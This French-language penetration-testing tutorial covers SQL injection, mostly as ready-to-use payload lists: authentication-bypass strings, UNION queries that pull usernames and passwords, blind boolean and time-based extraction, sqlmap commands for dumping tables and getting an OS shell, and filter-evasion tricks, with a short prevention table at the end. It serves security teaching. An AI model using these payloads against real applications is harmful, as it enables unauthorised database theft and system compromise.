Explore Notes
Offensive

SQL Injection — Exploitation des Bases de Données

Guide complet des injections SQL : détection, exploitation manuelle, UNION-based, Blind SQLi, et automatisation avec sqlmap.

17 février 2026@vladimir8 min de lecture
#sqli#sql-injection#web-security#database#pentest

Introduction

L'injection SQL (SQLi) est une vulnérabilité web qui permet d'interagir directement avec la base de données d'une application en manipulant les requêtes SQL via des entrées utilisateur non assainies. C'est l'une des failles les plus dangereuses : elle peut mener à la fuite totale de la base de données, au contournement d'authentification, voire à l'exécution de commandes système.

Types d'Injection SQL

TypeDescription
In-band (Classic)Le résultat est visible directement dans la réponse
UNION-basedCombine les résultats avec une seconde requête via UNION
Error-basedExploite les messages d'erreur SQL pour extraire des données
Blind (Boolean)Déduit les données selon des réponses vrai/faux
Blind (Time-based)Déduit les données selon le temps de réponse
Out-of-bandExfiltre les données via un canal tiers (DNS, HTTP)

Détection

Tests de Base

sqli-detection.txtsql
-- Injection de guillemets pour provoquer une erreur
'
"
`
')
")
 
-- Test arithmétique (la page doit réagir différemment)
1 OR 1=1
1 OR 1=2
1' OR '1'='1
1' OR '1'='2
 
-- Commentaires SQL pour tronquer la requête
' --
' #
' /\*
'; --
 

Identifier le SGBD

sqli-fingerprint.txtsql
-- MySQL
' AND 1=1 -- -       -- Commentaire MySQL
SELECT @@version      -- Version MySQL
SELECT version()      -- Version alternative
 
-- PostgreSQL
' AND 1=1 --          -- Commentaire PostgreSQL
SELECT version()      -- Version PostgreSQL
 
-- Microsoft SQL Server
' AND 1=1 --          -- Commentaire MSSQL
SELECT @@version      -- Version MSSQL
 
-- Oracle
' AND 1=1 --          -- Commentaire Oracle
SELECT banner FROM v$version  -- Version Oracle
 
-- SQLite
' AND 1=1 --
SELECT sqlite_version()

Contournement d'Authentification

Login Bypass Classiques

sqli-auth-bypass.txtsql
-- Requête originale côté serveur :
-- SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
 
-- Payloads dans le champ "username" :
admin' --
admin' #
admin'/_
' OR 1=1 --
' OR 1=1 #
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /_
') OR ('1'='1
') OR ('1'='1' --
 
-- Avec le champ password vide :
username: admin' --
password: (n'importe quoi)
 
-- La requête devient :
-- SELECT \* FROM users WHERE username='admin' -- ' AND password='xxx'
-- Le commentaire -- ignore la vérification du mot de passe
 

UNION-based SQLi

La technique UNION permet de combiner le résultat de la requête originale avec une requête malveillante pour extraire des données d'autres tables.

Étape 1 : Déterminer le Nombre de Colonnes

sqli-union-columns.txtsql
-- Méthode ORDER BY (incrémenter jusqu'à obtenir une erreur)
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 --    ← Erreur ! → 3 colonnes
 
-- Méthode UNION SELECT NULL
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --     ← Pas d'erreur → 3 colonnes
' UNION SELECT NULL, NULL, NULL, NULL -- ← Erreur

Étape 2 : Identifier les Colonnes Affichées

sqli-union-visible.txtsql
-- Injecter des valeurs distinctes pour repérer lesquelles s'affichent
' UNION SELECT 'aaa', 'bbb', 'ccc' --
 
-- Si "bbb" s'affiche sur la page → la colonne 2 est visible
-- On utilisera la colonne 2 pour extraire des données
 

Étape 3 : Extraire les Données

sqli-union-extract.txtsql
-- Version de la base de données
' UNION SELECT NULL, @@version, NULL --
 
-- Liste des bases de données (MySQL)
' UNION SELECT NULL, schema_name, NULL FROM information_schema.schemata --
 
-- Liste des tables d'une base
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='target_db' --
 
-- Liste des colonnes d'une table
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
 
-- Extraire les données
' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users --
 
-- Combiner plusieurs colonnes (MySQL)
' UNION SELECT NULL, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x0a), NULL FROM users --

Blind SQLi — Boolean-based

Lorsque l'application ne retourne pas les données directement mais affiche un comportement différent (page différente, message différent) selon que la condition est vraie ou fausse.

sqli-blind-boolean.txtsql
-- Vrai (page normale)
' AND 1=1 --
 
-- Faux (page différente ou message d'erreur)
' AND 1=2 --
 
-- Extraire la version caractère par caractère
' AND SUBSTRING(@@version, 1, 1) = '5' --
' AND SUBSTRING(@@version, 1, 1) = '8' --
 
-- Extraire le nom de la base
' AND SUBSTRING(database(), 1, 1) = 'a' --
' AND SUBSTRING(database(), 1, 1) = 'b' --
-- ... jusqu'à trouver le bon caractère
 
-- Vérifier l'existence d'une table
' AND (SELECT COUNT(\*) FROM users) > 0 --
 
-- Extraire un mot de passe caractère par caractère
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a' --
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'b' --
 

Blind SQLi — Time-based

Quand la réponse de l'application est identique dans tous les cas, on utilise des délais temporels pour déduire l'information.

sqli-blind-time.txtsql
-- MySQL : SLEEP()
' AND IF(1=1, SLEEP(5), 0) --     ← Délai de 5s = VRAI
' AND IF(1=2, SLEEP(5), 0) --     ← Pas de délai = FAUX
 
-- Extraire des données avec le temps
' AND IF(SUBSTRING(database(), 1, 1)='a', SLEEP(5), 0) --
' AND IF(SUBSTRING(database(), 1, 1)='t', SLEEP(5), 0) --
 
-- PostgreSQL : pg_sleep()
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) --
 
-- MSSQL : WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:5' --
 
-- SQLite
' AND CASE WHEN (1=1) THEN randomblob(500000000) ELSE 0 END --

Automatisation avec sqlmap

sqlmap est l'outil de référence pour automatiser la détection et l'exploitation des injections SQL.

sqlmap-commands.shbash
# Détection automatique
sqlmap -u "https://target.com/page?id=1"
 
# Avec un cookie de session
 
sqlmap -u "https://target.com/page?id=1" --cookie="PHPSESSID=abc123"
 
# Tester un formulaire POST
 
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
 
# Lister les bases de données
 
sqlmap -u "https://target.com/page?id=1" --dbs
 
# Lister les tables d'une base
 
sqlmap -u "https://target.com/page?id=1" -D target_db --tables
 
# Lister les colonnes d'une table
 
sqlmap -u "https://target.com/page?id=1" -D target_db -T users --columns
 
# Dumper les données
 
sqlmap -u "https://target.com/page?id=1" -D target_db -T users --dump
 
# Obtenir un shell OS
 
sqlmap -u "https://target.com/page?id=1" --os-shell
 
# Options de performance
 
sqlmap -u "https://target.com/page?id=1" --threads=10 --level=5 --risk=3
 

Options sqlmap Essentielles

OptionDescription
--dbsLister les bases de données
--tablesLister les tables
--dumpExtraire les données
--os-shellShell système interactif
--levelNiveau de test (1-5)
--riskNiveau de risque (1-3)
--batchMode non-interactif
--tamperScripts d'obfuscation

Contournement de Filtres

sqli-bypass.txtsql
-- Contournement d'espaces
/**/OR/**/1=1
+OR+1=1
%09OR%091=1          -- Tab
%0aOR%0a1=1          -- Newline
 
-- Contournement de mots-clés
SEL/**/ECT
SeLeCt (casse mixte)
CONCAT(0x73656c656374)  -- Encodage hex
 
-- Contournement de guillemets
CHAR(97,100,109,105,110)  -- 'admin' en MySQL
CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)  -- Oracle
 
-- Double URL encoding
%2527  →  %27'
 
-- Tamper scripts sqlmap
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=between,randomcase
sqlmap -u "URL" --tamper=charunicodeencode

Prévention

MesureDescription
Prepared StatementsUtiliser des requêtes paramétrées (PDO, PreparedStatement)
ORMUtiliser un ORM (Eloquent, Hibernate, SQLAlchemy)
Input ValidationValider le type et le format des entrées
Least PrivilegeLimiter les droits du compte SQL de l'application
WAFWeb Application Firewall pour détecter les patterns SQLi
Error HandlingNe jamais exposer les messages d'erreur SQL
Flux d'attaque SQL Injection
Live
[Attacker]                    [Web Application]               [Database]

 ── ' OR 1=1 -- ────────────> │                             │
    │                               │ ── SELECT * FROM users     │
    │                               │    WHERE id='' OR 1=1 -- ─>│
    │                               │                             │
    │                               │ <── Toutes les lignes ──── │
    │ <── Données sensibles ─────── │                             │
    │                               │                             │
    │ ── UNION SELECT ────────────> │ ── Requête combinée ─────> │
    │ <── Dump de la base ───────── │ <── Tables, colonnes ───── │

Résumé

L'injection SQL reste l'une des vulnérabilités les plus critiques en sécurité web. La maîtrise des différentes techniques (UNION-based, Blind Boolean/Time, Error-based) est essentielle pour tout pentester. L'automatisation via sqlmap accélère considérablement l'exploitation. La meilleure protection reste l'utilisation systématique de requêtes paramétrées (Prepared Statements).